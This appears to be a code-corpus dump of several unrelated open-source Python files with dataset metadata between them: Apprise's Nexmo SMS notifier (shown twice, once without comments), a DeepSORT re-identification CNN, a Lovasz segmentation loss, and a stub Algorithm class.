# -*- coding: utf-8 -*- # # Copyright (C) 2019 Chris Caron <lead2gold@gmail.com> # All rights reserved. # # This code is licensed under the MIT License. # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files(the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and / or sell # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions : # # The above copyright notice and this permission notice shall be included in # all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. # Sign-up with https://dashboard.nexmo.com/ # # Get your (api) key and secret here: # - https://dashboard.nexmo.com/getting-started-guide # import requests from .NotifyBase import NotifyBase from ..URLBase import PrivacyMode from ..common import NotifyType from ..utils import is_phone_no from ..utils import parse_phone_no from ..utils import validate_regex from ..AppriseLocale import gettext_lazy as _ class NotifyNexmo(NotifyBase): """ A wrapper for Nexmo Notifications """ # The default descriptive name associated with the Notification service_name = 'Nexmo' # The services URL service_url = 'https://dashboard.nexmo.com/' # The default protocol secure_protocol = 'nexmo' # A URL that takes you to the setup/help of the specific protocol setup_url = 'https://github.com/caronc/apprise/wiki/Notify_nexmo' # Nexmo uses the http protocol with JSON requests notify_url = 'https://rest.nexmo.com/sms/json' # The maximum length of the body body_maxlen = 160 # A title can not be used for SMS Messages. Setting this to zero will # cause any title (if defined) to get placed into the message body. title_maxlen = 0 # Define object templates templates = ( '{schema}://{apikey}:{secret}@{from_phone}', '{schema}://{apikey}:{secret}@{from_phone}/{targets}', ) # Define our template tokens template_tokens = dict(NotifyBase.template_tokens, **{ 'apikey': { 'name': _('API Key'), 'type': 'string', 'required': True, 'regex': (r'^[a-z0-9]+$', 'i'), 'private': True, }, 'secret': { 'name': _('API Secret'), 'type': 'string', 'private': True, 'required': True, 'regex': (r'^[a-z0-9]+$', 'i'), }, 'from_phone': { 'name': _('From Phone No'), 'type': 'string', 'required': True, 'regex': (r'^\+?[0-9\s)(+-]+$', 'i'), 'map_to': 'source', }, 'target_phone': { 'name': _('Target Phone No'), 'type': 'string', 'prefix': '+', 'regex': (r'^[0-9\s)(+-]+$', 'i'), 'map_to': 'targets', }, 'targets': { 'name': _('Targets'), 'type': 'list:string', }, }) # Define our template arguments template_args = dict(NotifyBase.template_args, **{ 'to': { 'alias_of': 'targets', }, 'from': { 'alias_of': 'from_phone', }, 'key': { 'alias_of': 'apikey', }, 'secret': { 'alias_of': 'secret', }, # Default Time To Live # By default Nexmo attempt delivery for 72 hours, however the maximum # effective value depends on the operator and is typically 24 - 48 # hours. We recommend this value should be kept at its default or at # least 30 minutes. 'ttl': { 'name': _('ttl'), 'type': 'int', 'default': 900000, 'min': 20000, 'max': 604800000, }, }) def __init__(self, apikey, secret, source, targets=None, ttl=None, **kwargs): """ Initialize Nexmo Object """ super(NotifyNexmo, self).__init__(**kwargs) # API Key (associated with project) self.apikey = validate_regex( apikey, *self.template_tokens['apikey']['regex']) if not self.apikey: msg = 'An invalid Nexmo API Key ' \ '({}) was specified.'.format(apikey) self.logger.warning(msg) raise TypeError(msg) # API Secret (associated with project) self.secret = validate_regex( secret, *self.template_tokens['secret']['regex']) if not self.secret: msg = 'An invalid Nexmo API Secret ' \ '({}) was specified.'.format(secret) self.logger.warning(msg) raise TypeError(msg) # Set our Time to Live Flag self.ttl = self.template_args['ttl']['default'] try: self.ttl = int(ttl) except (ValueError, TypeError): # Do nothing pass if self.ttl < self.template_args['ttl']['min'] or \ self.ttl > self.template_args['ttl']['max']: msg = 'The Nexmo TTL specified ({}) is out of range.'\ .format(self.ttl) self.logger.warning(msg) raise TypeError(msg) # The Source Phone # self.source = source result = is_phone_no(source) if not result: msg = 'The Account (From) Phone # specified ' \ '({}) is invalid.'.format(source) self.logger.warning(msg) raise TypeError(msg) # Store our parsed value self.source = result['full'] # Parse our targets self.targets = list() for target in parse_phone_no(targets): # Validate targets and drop bad ones: result = is_phone_no(target) if not result: self.logger.warning( 'Dropped invalid phone # ' '({}) specified.'.format(target), ) continue # store valid phone number self.targets.append(result['full']) return def send(self, body, title='', notify_type=NotifyType.INFO, **kwargs): """ Perform Nexmo Notification """ # error tracking (used for function return) has_error = False # Prepare our headers headers = { 'User-Agent': self.app_id, 'Content-Type': 'application/x-www-form-urlencoded', } # Prepare our payload payload = { 'api_key': self.apikey, 'api_secret': self.secret, 'ttl': self.ttl, 'from': self.source, 'text': body, # The to gets populated in the loop below 'to': None, } # Create a copy of the targets list targets = list(self.targets) if len(targets) == 0: # No sources specified, use our own phone no targets.append(self.source) while len(targets): # Get our target to notify target = targets.pop(0) # Prepare our user payload['to'] = target # Some Debug Logging self.logger.debug('Nexmo POST URL: {} (cert_verify={})'.format( self.notify_url, self.verify_certificate)) self.logger.debug('Nexmo Payload: {}' .format(payload)) # Always call throttle before any remote server i/o is made self.throttle() try: r = requests.post( self.notify_url, data=payload, headers=headers, verify=self.verify_certificate, timeout=self.request_timeout, ) if r.status_code != requests.codes.ok: # We had a problem status_str = \ NotifyNexmo.http_response_code_lookup( r.status_code) self.logger.warning( 'Failed to send Nexmo notification to {}: ' '{}{}error={}.'.format( target, status_str, ', ' if status_str else '', r.status_code)) self.logger.debug( 'Response Details:\r\n{}'.format(r.content)) # Mark our failure has_error = True continue else: self.logger.info('Sent Nexmo notification to %s.' % target) except requests.RequestException as e: self.logger.warning( 'A Connection error occurred sending Nexmo:%s ' 'notification.' % target ) self.logger.debug('Socket Exception: %s' % str(e)) # Mark our failure has_error = True continue return not has_error def url(self, privacy=False, *args, **kwargs): """ Returns the URL built dynamically based on specified arguments. """ # Define any URL parameters params = { 'ttl': str(self.ttl), } # Extend our parameters params.update(self.url_parameters(privacy=privacy, *args, **kwargs)) return '{schema}://{key}:{secret}@{source}/{targets}/?{params}'.format( schema=self.secure_protocol, key=self.pprint(self.apikey, privacy, safe=''), secret=self.pprint( self.secret, privacy, mode=PrivacyMode.Secret, safe=''), source=NotifyNexmo.quote(self.source, safe=''), targets='/'.join( [NotifyNexmo.quote(x, safe='') for x in self.targets]), params=NotifyNexmo.urlencode(params)) @staticmethod def parse_url(url): """ Parses the URL and returns enough arguments that can allow us to re-instantiate this object. """ results = NotifyBase.parse_url(url, verify_host=False) if not results: # We're done early as we couldn't load the results return results # Get our entries; split_path() looks after unquoting content for us # by default results['targets'] = NotifyNexmo.split_path(results['fullpath']) # The hostname is our source number results['source'] = NotifyNexmo.unquote(results['host']) # Get our account_side and auth_token from the user/pass config results['apikey'] = NotifyNexmo.unquote(results['user']) results['secret'] = NotifyNexmo.unquote(results['password']) # API Key if 'key' in results['qsd'] and len(results['qsd']['key']): # Extract the API Key from an argument results['apikey'] = \ NotifyNexmo.unquote(results['qsd']['key']) # API Secret if 'secret' in results['qsd'] and len(results['qsd']['secret']): # Extract the API Secret from an argument results['secret'] = \ NotifyNexmo.unquote(results['qsd']['secret']) # Support the 'from' and 'source' variable so that we can support # targets this way too. # The 'from' makes it easier to use yaml configuration if 'from' in results['qsd'] and len(results['qsd']['from']): results['source'] = \ NotifyNexmo.unquote(results['qsd']['from']) if 'source' in results['qsd'] and len(results['qsd']['source']): results['source'] = \ NotifyNexmo.unquote(results['qsd']['source']) # Support the 'ttl' variable if 'ttl' in results['qsd'] and len(results['qsd']['ttl']): results['ttl'] = \ NotifyNexmo.unquote(results['qsd']['ttl']) # Support the 'to' variable so that we can support rooms this way too # The 'to' makes it easier to use yaml configuration if 'to' in results['qsd'] and len(results['qsd']['to']): results['targets'] += \ NotifyNexmo.parse_phone_no(results['qsd']['to']) return results

33.466321

79

0.542963

import requests from .NotifyBase import NotifyBase from ..URLBase import PrivacyMode from ..common import NotifyType from ..utils import is_phone_no from ..utils import parse_phone_no from ..utils import validate_regex from ..AppriseLocale import gettext_lazy as _ class NotifyNexmo(NotifyBase): service_name = 'Nexmo' service_url = 'https://dashboard.nexmo.com/' secure_protocol = 'nexmo' setup_url = 'https://github.com/caronc/apprise/wiki/Notify_nexmo' notify_url = 'https://rest.nexmo.com/sms/json' body_maxlen = 160 title_maxlen = 0 templates = ( '{schema}://{apikey}:{secret}@{from_phone}', '{schema}://{apikey}:{secret}@{from_phone}/{targets}', ) template_tokens = dict(NotifyBase.template_tokens, **{ 'apikey': { 'name': _('API Key'), 'type': 'string', 'required': True, 'regex': (r'^[a-z0-9]+$', 'i'), 'private': True, }, 'secret': { 'name': _('API Secret'), 'type': 'string', 'private': True, 'required': True, 'regex': (r'^[a-z0-9]+$', 'i'), }, 'from_phone': { 'name': _('From Phone No'), 'type': 'string', 'required': True, 'regex': (r'^\+?[0-9\s)(+-]+$', 'i'), 'map_to': 'source', }, 'target_phone': { 'name': _('Target Phone No'), 'type': 'string', 'prefix': '+', 'regex': (r'^[0-9\s)(+-]+$', 'i'), 'map_to': 'targets', }, 'targets': { 'name': _('Targets'), 'type': 'list:string', }, }) template_args = dict(NotifyBase.template_args, **{ 'to': { 'alias_of': 'targets', }, 'from': { 'alias_of': 'from_phone', }, 'key': { 'alias_of': 'apikey', }, 'secret': { 'alias_of': 'secret', }, 'ttl': { 'name': _('ttl'), 'type': 'int', 'default': 900000, 'min': 20000, 'max': 604800000, }, }) def __init__(self, apikey, secret, source, targets=None, ttl=None, **kwargs): super(NotifyNexmo, self).__init__(**kwargs) self.apikey = validate_regex( apikey, *self.template_tokens['apikey']['regex']) if not self.apikey: msg = 'An invalid Nexmo API Key ' \ '({}) was specified.'.format(apikey) self.logger.warning(msg) raise TypeError(msg) self.secret = validate_regex( secret, *self.template_tokens['secret']['regex']) if not self.secret: msg = 'An invalid Nexmo API Secret ' \ '({}) was specified.'.format(secret) self.logger.warning(msg) raise TypeError(msg) self.ttl = self.template_args['ttl']['default'] try: self.ttl = int(ttl) except (ValueError, TypeError): pass if self.ttl < self.template_args['ttl']['min'] or \ self.ttl > self.template_args['ttl']['max']: msg = 'The Nexmo TTL specified ({}) is out of range.'\ .format(self.ttl) self.logger.warning(msg) raise TypeError(msg) self.source = source result = is_phone_no(source) if not result: msg = 'The Account (From) Phone # specified ' \ '({}) is invalid.'.format(source) self.logger.warning(msg) raise TypeError(msg) self.source = result['full'] self.targets = list() for target in parse_phone_no(targets): result = is_phone_no(target) if not result: self.logger.warning( 'Dropped invalid phone # ' '({}) specified.'.format(target), ) continue self.targets.append(result['full']) return def send(self, body, title='', notify_type=NotifyType.INFO, **kwargs): has_error = False headers = { 'User-Agent': self.app_id, 'Content-Type': 'application/x-www-form-urlencoded', } payload = { 'api_key': self.apikey, 'api_secret': self.secret, 'ttl': self.ttl, 'from': self.source, 'text': body, 'to': None, } targets = list(self.targets) if len(targets) == 0: targets.append(self.source) while len(targets): target = targets.pop(0) payload['to'] = target self.logger.debug('Nexmo POST URL: {} (cert_verify={})'.format( self.notify_url, self.verify_certificate)) self.logger.debug('Nexmo Payload: {}' .format(payload)) self.throttle() try: r = requests.post( self.notify_url, data=payload, headers=headers, verify=self.verify_certificate, timeout=self.request_timeout, ) if r.status_code != requests.codes.ok: status_str = \ NotifyNexmo.http_response_code_lookup( r.status_code) self.logger.warning( 'Failed to send Nexmo notification to {}: ' '{}{}error={}.'.format( target, status_str, ', ' if status_str else '', r.status_code)) self.logger.debug( 'Response Details:\r\n{}'.format(r.content)) has_error = True continue else: self.logger.info('Sent Nexmo notification to %s.' % target) except requests.RequestException as e: self.logger.warning( 'A Connection error occurred sending Nexmo:%s ' 'notification.' % target ) self.logger.debug('Socket Exception: %s' % str(e)) has_error = True continue return not has_error def url(self, privacy=False, *args, **kwargs): params = { 'ttl': str(self.ttl), } params.update(self.url_parameters(privacy=privacy, *args, **kwargs)) return '{schema}://{key}:{secret}@{source}/{targets}/?{params}'.format( schema=self.secure_protocol, key=self.pprint(self.apikey, privacy, safe=''), secret=self.pprint( self.secret, privacy, mode=PrivacyMode.Secret, safe=''), source=NotifyNexmo.quote(self.source, safe=''), targets='/'.join( [NotifyNexmo.quote(x, safe='') for x in self.targets]), params=NotifyNexmo.urlencode(params)) @staticmethod def parse_url(url): results = NotifyBase.parse_url(url, verify_host=False) if not results: return results results['targets'] = NotifyNexmo.split_path(results['fullpath']) results['source'] = NotifyNexmo.unquote(results['host']) results['apikey'] = NotifyNexmo.unquote(results['user']) results['secret'] = NotifyNexmo.unquote(results['password']) if 'key' in results['qsd'] and len(results['qsd']['key']): results['apikey'] = \ NotifyNexmo.unquote(results['qsd']['key']) if 'secret' in results['qsd'] and len(results['qsd']['secret']): results['secret'] = \ NotifyNexmo.unquote(results['qsd']['secret']) if 'from' in results['qsd'] and len(results['qsd']['from']): results['source'] = \ NotifyNexmo.unquote(results['qsd']['from']) if 'source' in results['qsd'] and len(results['qsd']['source']): results['source'] = \ NotifyNexmo.unquote(results['qsd']['source']) if 'ttl' in results['qsd'] and len(results['qsd']['ttl']): results['ttl'] = \ NotifyNexmo.unquote(results['qsd']['ttl']) if 'to' in results['qsd'] and len(results['qsd']['to']): results['targets'] += \ NotifyNexmo.parse_phone_no(results['qsd']['to']) return results

true

1c423ab64dfbb1ededc7018e40988e7380610cec

3,421

py

Python

EfficientGCNv1/utils/tracking/deepsort/deep/model.py

myatthukyaw/res_efficient_gcns

89280d10f1d4864dfa0a5c3813db11e074dcb2f2

[ "MIT" ]

null

EfficientGCNv1/utils/tracking/deepsort/deep/model.py

myatthukyaw/res_efficient_gcns

89280d10f1d4864dfa0a5c3813db11e074dcb2f2

[ "MIT" ]

null

EfficientGCNv1/utils/tracking/deepsort/deep/model.py

myatthukyaw/res_efficient_gcns

89280d10f1d4864dfa0a5c3813db11e074dcb2f2

[ "MIT" ]

null

import torch import torch.nn as nn import torch.nn.functional as F class BasicBlock(nn.Module): def __init__(self, c_in, c_out, is_downsample=False): super(BasicBlock, self).__init__() self.is_downsample = is_downsample if is_downsample: self.conv1 = nn.Conv2d( c_in, c_out, 3, stride=2, padding=1, bias=False) else: self.conv1 = nn.Conv2d( c_in, c_out, 3, stride=1, padding=1, bias=False) self.bn1 = nn.BatchNorm2d(c_out) self.relu = nn.ReLU(True) self.conv2 = nn.Conv2d(c_out, c_out, 3, stride=1, padding=1, bias=False) self.bn2 = nn.BatchNorm2d(c_out) if is_downsample: self.downsample = nn.Sequential( nn.Conv2d(c_in, c_out, 1, stride=2, bias=False), nn.BatchNorm2d(c_out) ) elif c_in != c_out: self.downsample = nn.Sequential( nn.Conv2d(c_in, c_out, 1, stride=1, bias=False), nn.BatchNorm2d(c_out) ) self.is_downsample = True def forward(self, x): y = self.conv1(x) y = self.bn1(y) y = self.relu(y) y = self.conv2(y) y = self.bn2(y) if self.is_downsample: x = self.downsample(x) return F.relu(x.add(y), True) def make_layers(c_in, c_out, repeat_times, is_downsample=False): blocks = [] for i in range(repeat_times): if i == 0: blocks += [BasicBlock(c_in, c_out, is_downsample=is_downsample)] else: blocks += [BasicBlock(c_out, c_out)] return nn.Sequential(*blocks) class Net(nn.Module): def __init__(self, num_classes=751, reid=False): super(Net, self).__init__() # 3 128 64 self.conv = nn.Sequential( nn.Conv2d(3, 64, 3, stride=1, padding=1), nn.BatchNorm2d(64), nn.ReLU(inplace=True), # nn.Conv2d(32,32,3,stride=1,padding=1), # nn.BatchNorm2d(32), # nn.ReLU(inplace=True), nn.MaxPool2d(3, 2, padding=1), ) # 32 64 32 self.layer1 = make_layers(64, 64, 2, False) # 32 64 32 self.layer2 = make_layers(64, 128, 2, True) # 64 32 16 self.layer3 = make_layers(128, 256, 2, True) # 128 16 8 self.layer4 = make_layers(256, 512, 2, True) # 256 8 4 self.avgpool = nn.AvgPool2d((8, 4), 1) # 256 1 1 self.reid = reid self.classifier = nn.Sequential( nn.Linear(512, 256), nn.BatchNorm1d(256), nn.ReLU(inplace=True), nn.Dropout(), nn.Linear(256, num_classes), ) def forward(self, x): x = self.conv(x) x = self.layer1(x) x = self.layer2(x) x = self.layer3(x) x = self.layer4(x) x = self.avgpool(x) x = x.view(x.size(0), -1) # B x 128 if self.reid: x = x.div(x.norm(p=2, dim=1, keepdim=True)) return x # classifier x = self.classifier(x) return x if __name__ == '__main__': net = Net() x = torch.randn(4, 3, 128, 64) y = net(x) import ipdb ipdb.set_trace()

31.1

77

0.504239

import torch import torch.nn as nn import torch.nn.functional as F class BasicBlock(nn.Module): def __init__(self, c_in, c_out, is_downsample=False): super(BasicBlock, self).__init__() self.is_downsample = is_downsample if is_downsample: self.conv1 = nn.Conv2d( c_in, c_out, 3, stride=2, padding=1, bias=False) else: self.conv1 = nn.Conv2d( c_in, c_out, 3, stride=1, padding=1, bias=False) self.bn1 = nn.BatchNorm2d(c_out) self.relu = nn.ReLU(True) self.conv2 = nn.Conv2d(c_out, c_out, 3, stride=1, padding=1, bias=False) self.bn2 = nn.BatchNorm2d(c_out) if is_downsample: self.downsample = nn.Sequential( nn.Conv2d(c_in, c_out, 1, stride=2, bias=False), nn.BatchNorm2d(c_out) ) elif c_in != c_out: self.downsample = nn.Sequential( nn.Conv2d(c_in, c_out, 1, stride=1, bias=False), nn.BatchNorm2d(c_out) ) self.is_downsample = True def forward(self, x): y = self.conv1(x) y = self.bn1(y) y = self.relu(y) y = self.conv2(y) y = self.bn2(y) if self.is_downsample: x = self.downsample(x) return F.relu(x.add(y), True) def make_layers(c_in, c_out, repeat_times, is_downsample=False): blocks = [] for i in range(repeat_times): if i == 0: blocks += [BasicBlock(c_in, c_out, is_downsample=is_downsample)] else: blocks += [BasicBlock(c_out, c_out)] return nn.Sequential(*blocks) class Net(nn.Module): def __init__(self, num_classes=751, reid=False): super(Net, self).__init__() self.conv = nn.Sequential( nn.Conv2d(3, 64, 3, stride=1, padding=1), nn.BatchNorm2d(64), nn.ReLU(inplace=True), nn.MaxPool2d(3, 2, padding=1), ) self.layer1 = make_layers(64, 64, 2, False) self.layer2 = make_layers(64, 128, 2, True) self.layer3 = make_layers(128, 256, 2, True) self.layer4 = make_layers(256, 512, 2, True) self.avgpool = nn.AvgPool2d((8, 4), 1) self.reid = reid self.classifier = nn.Sequential( nn.Linear(512, 256), nn.BatchNorm1d(256), nn.ReLU(inplace=True), nn.Dropout(), nn.Linear(256, num_classes), ) def forward(self, x): x = self.conv(x) x = self.layer1(x) x = self.layer2(x) x = self.layer3(x) x = self.layer4(x) x = self.avgpool(x) x = x.view(x.size(0), -1) if self.reid: x = x.div(x.norm(p=2, dim=1, keepdim=True)) return x x = self.classifier(x) return x if __name__ == '__main__': net = Net() x = torch.randn(4, 3, 128, 64) y = net(x) import ipdb ipdb.set_trace()

true

1c423b8b7b57531cefb41a87ab4a95bea00517a7

7,780

py

Python

src/losses/lovasz.py

vpeopleonatank/segmentation

6c93e14f465117ca1818e7d9cdd95ffc37e15f45

[ "MIT" ]

null

src/losses/lovasz.py

vpeopleonatank/segmentation

6c93e14f465117ca1818e7d9cdd95ffc37e15f45

[ "MIT" ]

null

src/losses/lovasz.py

vpeopleonatank/segmentation

6c93e14f465117ca1818e7d9cdd95ffc37e15f45

[ "MIT" ]

null

# type: ignore """ Lovasz-Softmax and Jaccard hinge loss in PyTorch Maxim Berman 2018 ESAT-PSI KU Leuven (MIT License) """ from __future__ import print_function, division from typing import Optional import torch import torch.nn.functional as F from torch.autograd import Variable from torch.nn.modules.loss import _Loss from .constants import BINARY_MODE, MULTICLASS_MODE, MULTILABEL_MODE try: from itertools import ifilterfalse except ImportError: # py3k from itertools import filterfalse as ifilterfalse __all__ = ["LovaszLoss"] def _lovasz_grad(gt_sorted): """Compute gradient of the Lovasz extension w.r.t sorted errors See Alg. 1 in paper """ p = len(gt_sorted) gts = gt_sorted.sum() intersection = gts - gt_sorted.float().cumsum(0) union = gts + (1 - gt_sorted).float().cumsum(0) jaccard = 1.0 - intersection / union if p > 1: # cover 1-pixel case jaccard[1:p] = jaccard[1:p] - jaccard[0:-1] return jaccard def _lovasz_hinge(logits, labels, per_image=True, ignore=None): """ Binary Lovasz hinge loss logits: [B, H, W] Variable, logits at each pixel (between -infinity and +infinity) labels: [B, H, W] Tensor, binary ground truth masks (0 or 1) per_image: compute the loss per image instead of per batch ignore: void class id """ if per_image: loss = mean( _lovasz_hinge_flat(*_flatten_binary_scores(log.unsqueeze(0), lab.unsqueeze(0), ignore)) for log, lab in zip(logits, labels) ) else: loss = _lovasz_hinge_flat(*_flatten_binary_scores(logits, labels, ignore)) return loss def _lovasz_hinge_flat(logits, labels): """Binary Lovasz hinge loss Args: logits: [P] Variable, logits at each prediction (between -infinity and +infinity) labels: [P] Tensor, binary ground truth labels (0 or 1) ignore: label to ignore """ if len(labels) == 0: # only void pixels, the gradients should be 0 return logits.sum() * 0.0 signs = 2.0 * labels.float() - 1.0 errors = 1.0 - logits * Variable(signs) errors_sorted, perm = torch.sort(errors, dim=0, descending=True) perm = perm.data gt_sorted = labels[perm] grad = _lovasz_grad(gt_sorted) loss = torch.dot(F.relu(errors_sorted), Variable(grad)) return loss def _flatten_binary_scores(scores, labels, ignore=None): """Flattens predictions in the batch (binary case) Remove labels equal to 'ignore' """ scores = scores.view(-1) labels = labels.view(-1) if ignore is None: return scores, labels valid = labels != ignore vscores = scores[valid] vlabels = labels[valid] return vscores, vlabels # --------------------------- MULTICLASS LOSSES --------------------------- def _lovasz_softmax(probas, labels, classes="present", per_image=False, ignore=None): """Multi-class Lovasz-Softmax loss Args: @param probas: [B, C, H, W] Variable, class probabilities at each prediction (between 0 and 1). Interpreted as binary (sigmoid) output with outputs of size [B, H, W]. @param labels: [B, H, W] Tensor, ground truth labels (between 0 and C - 1) @param classes: 'all' for all, 'present' for classes present in labels, or a list of classes to average. @param per_image: compute the loss per image instead of per batch @param ignore: void class labels """ if per_image: loss = mean( _lovasz_softmax_flat(*_flatten_probas(prob.unsqueeze(0), lab.unsqueeze(0), ignore), classes=classes) for prob, lab in zip(probas, labels) ) else: loss = _lovasz_softmax_flat(*_flatten_probas(probas, labels, ignore), classes=classes) return loss def _lovasz_softmax_flat(probas, labels, classes="present"): """Multi-class Lovasz-Softmax loss Args: @param probas: [P, C] Variable, class probabilities at each prediction (between 0 and 1) @param labels: [P] Tensor, ground truth labels (between 0 and C - 1) @param classes: 'all' for all, 'present' for classes present in labels, or a list of classes to average. """ if probas.numel() == 0: # only void pixels, the gradients should be 0 return probas * 0.0 C = probas.size(1) losses = [] class_to_sum = list(range(C)) if classes in ["all", "present"] else classes for c in class_to_sum: fg = (labels == c).type_as(probas) # foreground for class c if classes == "present" and fg.sum() == 0: continue if C == 1: if len(classes) > 1: raise ValueError("Sigmoid output possible only with 1 class") class_pred = probas[:, 0] else: class_pred = probas[:, c] errors = (fg - class_pred).abs() errors_sorted, perm = torch.sort(errors, 0, descending=True) perm = perm.data fg_sorted = fg[perm] losses.append(torch.dot(errors_sorted, _lovasz_grad(fg_sorted))) return mean(losses) def _flatten_probas(probas, labels, ignore=None): """Flattens predictions in the batch""" if probas.dim() == 3: # assumes output of a sigmoid layer B, H, W = probas.size() probas = probas.view(B, 1, H, W) C = probas.size(1) probas = torch.movedim(probas, 0, -1) # [B, C, Di, Dj, Dk...] -> [B, C, Di...Dk, C] probas = probas.contiguous().view(-1, C) # [P, C] labels = labels.view(-1) if ignore is None: return probas, labels valid = labels != ignore vprobas = probas[valid] vlabels = labels[valid] return vprobas, vlabels # --------------------------- HELPER FUNCTIONS --------------------------- def isnan(x): return x != x def mean(values, ignore_nan=False, empty=0): """Nanmean compatible with generators.""" values = iter(values) if ignore_nan: values = ifilterfalse(isnan, values) try: n = 1 acc = next(values) except StopIteration: if empty == "raise": raise ValueError("Empty mean") return empty for n, v in enumerate(values, 2): acc += v if n == 1: return acc return acc / n class LovaszLoss(_Loss): def __init__( self, mode: str, per_image: bool = False, ignore_index: Optional[int] = None, from_logits: bool = True, ): """Implementation of Lovasz loss for image segmentation task. It supports binary, multiclass and multilabel cases Args: mode: Loss mode 'binary', 'multiclass' or 'multilabel' ignore_index: Label that indicates ignored pixels (does not contribute to loss) per_image: If True loss computed per each image and then averaged, else computed per whole batch Shape - **y_pred** - torch.Tensor of shape (N, C, H, W) - **y_true** - torch.Tensor of shape (N, H, W) or (N, C, H, W) Reference https://github.com/BloodAxe/pytorch-toolbelt """ assert mode in {BINARY_MODE, MULTILABEL_MODE, MULTICLASS_MODE} super().__init__() self.mode = mode self.ignore_index = ignore_index self.per_image = per_image def forward(self, y_pred, y_true): if self.mode in {BINARY_MODE, MULTILABEL_MODE}: loss = _lovasz_hinge(y_pred, y_true, per_image=self.per_image, ignore=self.ignore_index) elif self.mode == MULTICLASS_MODE: y_pred = y_pred.softmax(dim=1) loss = _lovasz_softmax(y_pred, y_true, per_image=self.per_image, ignore=self.ignore_index) else: raise ValueError("Wrong mode {}.".format(self.mode)) return loss

34.122807

112

0.621465

from __future__ import print_function, division from typing import Optional import torch import torch.nn.functional as F from torch.autograd import Variable from torch.nn.modules.loss import _Loss from .constants import BINARY_MODE, MULTICLASS_MODE, MULTILABEL_MODE try: from itertools import ifilterfalse except ImportError: from itertools import filterfalse as ifilterfalse __all__ = ["LovaszLoss"] def _lovasz_grad(gt_sorted): p = len(gt_sorted) gts = gt_sorted.sum() intersection = gts - gt_sorted.float().cumsum(0) union = gts + (1 - gt_sorted).float().cumsum(0) jaccard = 1.0 - intersection / union if p > 1: jaccard[1:p] = jaccard[1:p] - jaccard[0:-1] return jaccard def _lovasz_hinge(logits, labels, per_image=True, ignore=None): if per_image: loss = mean( _lovasz_hinge_flat(*_flatten_binary_scores(log.unsqueeze(0), lab.unsqueeze(0), ignore)) for log, lab in zip(logits, labels) ) else: loss = _lovasz_hinge_flat(*_flatten_binary_scores(logits, labels, ignore)) return loss def _lovasz_hinge_flat(logits, labels): if len(labels) == 0: return logits.sum() * 0.0 signs = 2.0 * labels.float() - 1.0 errors = 1.0 - logits * Variable(signs) errors_sorted, perm = torch.sort(errors, dim=0, descending=True) perm = perm.data gt_sorted = labels[perm] grad = _lovasz_grad(gt_sorted) loss = torch.dot(F.relu(errors_sorted), Variable(grad)) return loss def _flatten_binary_scores(scores, labels, ignore=None): scores = scores.view(-1) labels = labels.view(-1) if ignore is None: return scores, labels valid = labels != ignore vscores = scores[valid] vlabels = labels[valid] return vscores, vlabels def _lovasz_softmax(probas, labels, classes="present", per_image=False, ignore=None): if per_image: loss = mean( _lovasz_softmax_flat(*_flatten_probas(prob.unsqueeze(0), lab.unsqueeze(0), ignore), classes=classes) for prob, lab in zip(probas, labels) ) else: loss = _lovasz_softmax_flat(*_flatten_probas(probas, labels, ignore), classes=classes) return loss def _lovasz_softmax_flat(probas, labels, classes="present"): if probas.numel() == 0: return probas * 0.0 C = probas.size(1) losses = [] class_to_sum = list(range(C)) if classes in ["all", "present"] else classes for c in class_to_sum: fg = (labels == c).type_as(probas) if classes == "present" and fg.sum() == 0: continue if C == 1: if len(classes) > 1: raise ValueError("Sigmoid output possible only with 1 class") class_pred = probas[:, 0] else: class_pred = probas[:, c] errors = (fg - class_pred).abs() errors_sorted, perm = torch.sort(errors, 0, descending=True) perm = perm.data fg_sorted = fg[perm] losses.append(torch.dot(errors_sorted, _lovasz_grad(fg_sorted))) return mean(losses) def _flatten_probas(probas, labels, ignore=None): if probas.dim() == 3: B, H, W = probas.size() probas = probas.view(B, 1, H, W) C = probas.size(1) probas = torch.movedim(probas, 0, -1) probas = probas.contiguous().view(-1, C) labels = labels.view(-1) if ignore is None: return probas, labels valid = labels != ignore vprobas = probas[valid] vlabels = labels[valid] return vprobas, vlabels def isnan(x): return x != x def mean(values, ignore_nan=False, empty=0): values = iter(values) if ignore_nan: values = ifilterfalse(isnan, values) try: n = 1 acc = next(values) except StopIteration: if empty == "raise": raise ValueError("Empty mean") return empty for n, v in enumerate(values, 2): acc += v if n == 1: return acc return acc / n class LovaszLoss(_Loss): def __init__( self, mode: str, per_image: bool = False, ignore_index: Optional[int] = None, from_logits: bool = True, ): assert mode in {BINARY_MODE, MULTILABEL_MODE, MULTICLASS_MODE} super().__init__() self.mode = mode self.ignore_index = ignore_index self.per_image = per_image def forward(self, y_pred, y_true): if self.mode in {BINARY_MODE, MULTILABEL_MODE}: loss = _lovasz_hinge(y_pred, y_true, per_image=self.per_image, ignore=self.ignore_index) elif self.mode == MULTICLASS_MODE: y_pred = y_pred.softmax(dim=1) loss = _lovasz_softmax(y_pred, y_true, per_image=self.per_image, ignore=self.ignore_index) else: raise ValueError("Wrong mode {}.".format(self.mode)) return loss

true

1c423d1db13036f9e4d5254adda577280f573f86

90

py

Python

algorithms/algorithm.py

songheony/oplp

7947fec7c0cf84d327c5bb3406e5dfd465e82a10

[ "MIT" ]

null

algorithms/algorithm.py

songheony/oplp

7947fec7c0cf84d327c5bb3406e5dfd465e82a10

[ "MIT" ]

null

algorithms/algorithm.py

songheony/oplp

7947fec7c0cf84d327c5bb3406e5dfd465e82a10

[ "MIT" ]

null

class Algorithm: def update(self, *args, **kwargs): raise NotImplementedError

22.5

38

0.677778

class Algorithm: def update(self, *args, **kwargs): raise NotImplementedError

true

1c423d68a9156819e5928c17fa91da75b8ce1ef1

4,341

py

Python

src/inverse_text_normalization/ori/taggers/money.py

yashiagar1999/indict_punc

8697ac5a5245c7e0d35b0777b1dc6fb1b8d6d525

[ "MIT" ]

15

